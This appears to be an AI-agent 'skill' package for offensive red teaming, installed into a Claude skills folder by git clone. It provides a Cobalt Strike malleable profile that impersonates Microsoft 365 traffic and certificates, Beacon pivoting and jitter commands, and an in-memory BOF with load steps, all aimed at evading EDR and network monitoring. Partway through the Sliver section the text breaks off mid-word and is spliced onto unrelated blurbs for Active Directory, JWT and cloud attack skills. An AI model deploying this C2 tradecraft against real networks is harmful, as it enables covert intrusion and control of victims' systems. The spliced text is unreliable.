offensive-c2-frameworks
Command and Control framework deployment, configuration, and operational tradecraft for red team engagements. Covers Cobalt Strike (malleable C2 profiles, Beacon types HTTP/HTTPS/DNS/SMB, Beacon Object Files for in-memory execution, sleep and jitter tuning, named pipe pivoting), Sliver (implant generation across mTLS/WireGuard/DNS transport, operator multiplayer mode, armory extensions), Mythic (agent ecosystem with Apollo/Poseidon/Medusa, C2 profile configuration, translation containers), Havoc (Demon agent with sleep obfuscation via Ekko/Zilean, indirect syscalls, dotnet inline execution), Metasploit (msfvenom payload generation, multi/handler staging, Meterpreter post-exploitation modules), redirector architecture using Apache mod_rewrite and Nginx, domain fronting through CDN providers, DNS-based C2 for restrictive network egress, and TLS certificate management for infrastructure OPSEC. Tools: Cobalt Strike, Sliver, Mythic, Havoc, Metasploit Framework. Aligns to MITRE ATT&CK T1071 (Application Layer Protocol), T1573 (Encrypted Channel), T1090 (Proxy/Connection Proxy).
git clone --depth 1 https://github.com/SnailSploit/Claude-Red /tmp/offensive-c2-frameworks && cp -r /tmp/offensive-c2-frameworks/Skills/forensics/offensive-c2-frameworks ~/.claude/skills/offensive-c2-frameworksSKILL.md
# Offensive C2 Frameworks
Command and Control is the backbone of any sustained red team engagement. Your C2 framework manages implant communication, task distribution, post-exploitation, and lateral movement coordination. Selecting and configuring the right framework -- and layering proper infrastructure around it -- determines whether your operation survives the first 48 hours or burns within minutes of initial access.
This skill covers the major C2 frameworks you encounter in professional red teaming, their configuration for operational security, the infrastructure patterns that protect your backend servers, and the tradecraft decisions that separate detectable operations from resilient ones. You are expected to understand not just how to deploy these tools, but why specific configuration choices matter against modern EDR and network monitoring.
## Quick Workflow
1. Define your engagement's network constraints -- identify allowed egress protocols, proxy requirements, and monitoring posture.
2. Select a primary C2 framework and transport based on target environment restrictions.
3. Build redirector infrastructure between your implants and your team server -- never expose the team server directly.
4. Configure communication profiles to mimic legitimate traffic patterns for the target organization.
5. Generate implants with appropriate sleep intervals, jitter, and kill dates.
6. Establish primary and fallback C2 channels using different transports and infrastructure.
7. Monitor your C2 traffic against detection signatures before deploying to production targets.
---
## Cobalt Strike
Cobalt Strike remains the most widely deployed commercial C2 framework. Its strength lies in malleable C2 profiles, Beacon flexibility, and a mature post-exploitation toolkit. You configure it for stealth through profile customization, sleep management, and BOF execution.
### Malleable C2 Profiles
Malleable profiles define how Beacon communicates -- HTTP headers, URI paths, data encoding, and TLS parameters. A well-crafted profile mimics a specific legitimate application.
```text
# Example malleable profile -- mimicking Microsoft 365 traffic
set sleeptime "60000";
set jitter "37";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0";
set data_jitter "50";
https-certificate {
set C "US";
set ST "Washington";
set L "Redmond";
set O "Microsoft Corporation";
set OU "Microsoft IT";
set CN "outlook.office365.com";
set validity "365";
}
http-get {
set uri "/owa/auth/logon.aspx /autodiscover/autodiscover.xml";
client {
header "Accept" "text/html,application/xhtml+xml";
header "Accept-Language" "en-US,en;q=0.9";
header "Connection" "keep-alive";
metadata {
base64url;
prepend "session=";
header "Cookie";
}
}
server {
header "Content-Type" "text/html; charset=utf-8";
header "Server" "Microsoft-IIS/10.0";
header "X-Powered-By" "ASP.NET";
output {
base64;
prepend "<!DOCTYPE html><html><head></head><body>";
append "</body></html>";
print;
}
}
}
http-post {
set uri "/owa/service.svc";
set verb "POST";
client {
header "Content-Type" "application/json; charset=utf-8";
id {
base64url;
prepend "token=";
header "Cookie";
}
output {
base64;
print;
}
}
server {
header "Content-Type" "application/json";
output {
base64;
print;
}
}
}
```
### Beacon Types and Pivoting
```text
# Beacon types and their use cases:
# HTTP/HTTPS Beacon -- standard egress, most flexible
# DNS Beacon -- low-bandwidth, high-stealth for restrictive networks
# SMB Beacon -- named pipe, for internal pivoting (no egress needed)
# TCP Beacon -- bind/reverse TCP for internal pivoting
# Generate payloads via Cobalt Strike GUI or aggressor scripts
# Stageless is preferred for OPSEC -- avoids the staging handshake
# Named pipe pivoting: link internal hosts through SMB Beacons
# On pivot host with HTTPS Beacon:
# beacon> link 10.10.10.50 \\.\pipe\msagent_89
# The SMB Beacon on 10.10.10.50 communicates through the pivot host
# Sleep and jitter configuration in Beacon
# beacon> sleep 300 45
# Sets 300-second sleep with 45% jitter (sleep varies 165-435 seconds)
# High sleep + high jitter = harder to detect via beaconing analysis
```
### Beacon Object Files (BOFs)
BOFs execute compiled C code directly in Beacon's memory without spawning a new process -- critical for evading process-based detections.
```c
/* example_bof.c -- inline whoami without spawning a child process */
#include <windows.h>
#include "beacon.h"
void go(char *args, int alen) {
DWORD bufSize = 256;
char username[256];
char domain[256];
WINBASEAPI BOOL WINAPI KERNEL32$GetUserNameA(LPSTR, LPDWORD);
WINBASEAPI BOOL WINAPI ADVAPI32$GetUserNameA(LPSTR, LPDWORD);
if (ADVAPI32$GetUserNameA(username, &bufSize)) {
BeaconPrintf(CALLBACK_OUTPUT, "Username: %s", username);
}
}
```
```text
# Compile and load BOF
# x86_64-w64-mingw32-gcc -c example_bof.c -o example_bof.o
# beacon> inline-execute example_bof.o
# Key BOF repositories for red teams:
# - trustedsec/CS-Situational-Awareness-BOF (user/network enumeration)
# - anthemtotheego/InlineWhispers (syscall-based BOFs)
# - rvrsh3ll/BOF_Collection (mixed utility BOFs)
```
---
## Sliver
Sliver is an open-source C2 framework with native support for mTLS, WireGuard, HTTP(S), and DNS transports. It supports multiplayer operation, allowing multiple operators to share a team server.
### Implant Generation
```bash
# Start Sliver server
./sliver-server
# Generate implants with different tActive Directory attack methodology for internal network red team engagements. Covers reconnaissance (BloodHound, PowerView, ADExplorer), credential abuse (Kerberoasting, ASREProasting, NTLM relay, LLMNR/NBT-NS poisoning), privilege escalation (ACL abuse, GPO abuse, unconstrained/constrained delegation), lateral movement (Pass-the-Hash, Pass-the-Ticket, Overpass-the-Hash, WMI/WinRM/PsExec), persistence (Golden/Silver/Diamond Tickets, DCSync, DCShadow, AdminSDHolder, Skeleton Key), forest trust attacks, ADCS abuse (ESC1-ESC15), and modern MDI/Defender for Identity evasion. Use when assessing on-prem AD, hybrid AD/Entra ID environments, or ADCS deployments.
JWT attack methodology for penetration testers. Covers algorithm confusion (alg:none, RS256→HS256), weak HMAC secret brute force, kid parameter injection (SQLi, path traversal), jku/x5u/jwk header injection, JWKS cache poisoning, JWS/JWE confusion, timing attacks, and mobile JWT storage extraction. Use when testing JWT-based authentication, hunting auth bypass via token manipulation, or evaluating JWT implementation security in web or mobile apps.
Cloud security attack methodology covering AWS, Azure, and GCP. Includes credential harvesting (IMDS, ~/.aws, env vars, leaked CI secrets, instance roles), enumeration with cloud-specific tools (pacu, ScoutSuite, Prowler, ROADtools, gcp_enum), privilege escalation paths (IAM PassRole, AssumeRole chains, Lambda/Functions privilege flips, Azure Owner-on-self, GCP serviceAccountTokenCreator), persistence techniques (IAM user/key creation, AAD app registration, GCP svc account key creation, EventBridge/Logic Apps backdoors), data exfiltration (S3/Blob/GCS, snapshot share, RDS/CosmosDB/Cloud SQL exfil), cloud-native lateral movement (cross-account assume, Azure AD multi-tenant, GCP project hierarchy), serverless attacks (Lambda env vars, layer hijack, Step Functions), Kubernetes-on-cloud (EKS/AKS/GKE-specific paths to node and AWS metadata), and CSPM evasion (CloudTrail blind spots, GuardDuty mute, Sentinel rule shaping). Use when the engagement scope is cloud accounts, when you've stolen cloud credentials, or when assessing cloud posture.